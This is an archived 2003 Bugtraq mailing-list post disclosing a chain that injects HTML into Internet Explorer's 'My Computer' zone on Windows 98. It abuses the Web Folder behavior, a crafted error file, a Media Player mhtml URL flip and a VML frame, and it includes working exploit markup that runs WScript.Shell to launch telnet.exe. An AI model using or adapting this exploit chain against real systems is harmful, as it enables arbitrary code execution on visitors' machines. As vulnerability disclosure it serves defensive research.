lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <200305011602.h41G290K022871@web159.megawebservers.com>
Date: Thu, 1 May 2003 16:02:09 -0000
From: "http-equiv@...ite.com" <1@...ware.com>
To: <bugtraq@...urityfocus.com>
Subject: SILLY BEHAVIOR Part II : Internet Explorer 5.5 - 6.0




Thursday, May 1, 2003

The following represents a trivial yet elaborate method of injecting 
arbitrary html into the "My Computer" zone on win98 using the 
Internet Explorer series of browsers.

The manufacturer, commonly known as "Microsoft" has a done a splendid 
job of battening down the hatches with many of the "quirky" behaviors 
associated with her best known product; Internet Explorer. 

Specifically:

1. Microsoft Security Bulletin MS03-014 Cumulative Patch for Outlook 
Express (330994) see: http://www.securityfocus.com/bid/5473/

2. Microsoft Internet Explorer Self Executing HTML File Vulnerability 
see: http://www.securityfocus.com/bid/6961

this one is particularly fascinating as an 'unannounced' patch was 
crammed into Microsoft Security Bulletin MS03-008 - Flaw in Windows 
Script Engine Could Allow Code Execution (814078) of March 19, 2003 
for 2. above in a relatively quick fashion: Feb 25, 2003 to March 19, 
2003 whereby now the extracted executable is placed in the Temporary 
Internet File [TIF] and controlled by the browser security setting.

Anyway:

Internet Explorer enjoys a unique component called the 'Web Folder" 
component. This is a selectable component install with the original 
installation of the browser or can be added later on. This unique 
component allows for an assortment of web publishing and authoring 
conveniences often touted as useful "feature".

But what it actually does, is create a nicely named file for us in a 
known location.

Where:

The Internet Explorer series 5 through 6 enjoy a related behavior to 
the so-called "Web Folder" component which allows us to point 
directly to one of these web folders and traverse it directly. 
However, should the folder not exist, an error message is generated 
and conveniently placed for us in the temp folder:

So:

This particular error message is nothing more than a server side 404 
error message which can be modified to suit our needs as we require.

Commence:


1. We first construct our trivial behavior to generate the error 
message like so:

<body onload=malware() style="behavior: url(#default#httpFolder);">
 <script>
function malware(){document.body.navigate
("http://www.microsoft.com");}
 </script>>

What this will do is "probe" the target site for a webfolder, and if 
not found, create our error file in the temp folder as follows:

[screen shot: http://www.malware.com/behave.png 4KB]

2. We then take our multi-faceted Windows Media Player and construct 
a 0s url flip *.asf file and point that to our named file in our 
known location:

<iframe src="temp.asf">

URL: mhtml:file://C:\WINDOWS\TEMP\wecerr.txt

Because the error file is nothing more than a text file, we need to 
include our own html and allow Internet Explorer to 'read' it. 
Previously numerous possibilities to allow for this existed, 
including <object data="" type="text/html>, databinding with 
dataformatas="HTML", dotting file extensions etc.  These now all 
appear to be patched.

Good:

But because we can craft our own error message on the server and 
point our trivial behavior to it, we simply construct our error 
message like so:

------wecerr.txt------

MIME-Version: 1.0
Content-Type: text/html;
charset="Windows-1252"
Content-Transfer-Encoding: 7bit

<HTML xmlns:v = "urn:schemas-microsoft-com:vml"> 
<STYLE>v\:* {BEHAVIOR: url(#default#VML)}</STYLE> 
</head>
<body bgcolor=blue onload=malware() style="behavior: url
(#default#httpFolder);">
<center><font size="24" color="red" 
face="arial">malware</font></center>



<v:vmlframe 
style="LEFT: 50px; WIDTH: 300px; POSITION: relative; TOP: 30px; 
HEIGHT: 200px" 
src = 
"C:\WINDOWS\Temp\wecerr.txt#malware"></v:vmlframe> 

<script>
function malware(){
document.body.navigate("http://www.microsofter.com");
</script>


------wecerr.txt------


What that will do is generate our simple text file in our temp 
folder, and by merely mhtml'izing our 0s url flip in our Media Player 
like so: mhtml:file://C:\WINDOWS\TEMP\wecerr.txt, Internet Explorer 
will open our text file in full html splendor. 

Where it gets particularly interesting is as follows:

1. We place both our silly behavior and our iframe with 0s url flip 
on the same page
2. You navigate to that, automatically our silly behavior generates 
our custom crafted error file and places it in our known location. 
Simultaneously, our Media Player automatically opens our 0s url flip 
*.asf and points to that same file.
3. Because the Media Player is launched from the local machine [the 
physical player], it is able to navigate locally to the file vs. 
security measures currently in place to disallow referencing files 
from the internet directly to the local machine.
4. What then happens is our *.txt file is conveniently html'ized, but 
again, because of security measures, the html contents are actually 
extracted and opened from within the TIF as a *.TMP file -- this in 
accordance with Outlook Express recently cumulated security patches.  
In this case, while it would appear that we are inside the local 
machine and outside the security restrictions, we are in fact unable 
to do anything at all.
5. In order to defeat that we include a second file and scheme to 
then bypass that restriction. Our handy VML frame:

<v:vmlframe 
style="LEFT: 50px; WIDTH: 300px; POSITION: relative; TOP: 30px; 
HEIGHT: 200px" 
src = 
"C:\WINDOWS\Temp\wecerr.txt#malware"></v:vmlframe> 

Because there is no restriction on referencing a local file remotely 
[from the TIF as an extracted MIME file] with this method, we create 
a second wecerr.txt with a different custom crafted content:

<xml xmlns:v = "urn:schemas-microsoft-com:vml">
 
   <v:rect id="malware"  fillcolor="red" 
   style="position:relative;top:1;left:1;width:20;height:20"
onmouseover="javascript:alert(document.location);var wsh=new 
ActiveXObject('WScript.Shell');wsh.Run('telnet.exe');''">
   </v:rect>


   </xml>

6. This is automatically generated once our first mhtml'ized 
wecerr.txt is opened and it automatically overwrites the first, 
allowing our VML frame to be rendered.

7. Now even with the MHTML file extracted and controlled by the TIF 
security settings, it is pointing back to the local machine and temp 
folder, and because it was originally extracted locally [from the TIF 
as an extracted MIME file], we are once again operating outside the 
security zone, in the "My Computer" zone and back to square one.


[screen shot: http://www.malware.com/aces.png 11KB]


Notes: 

1. None.



End Call

-- 
http://www.malware.com




Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ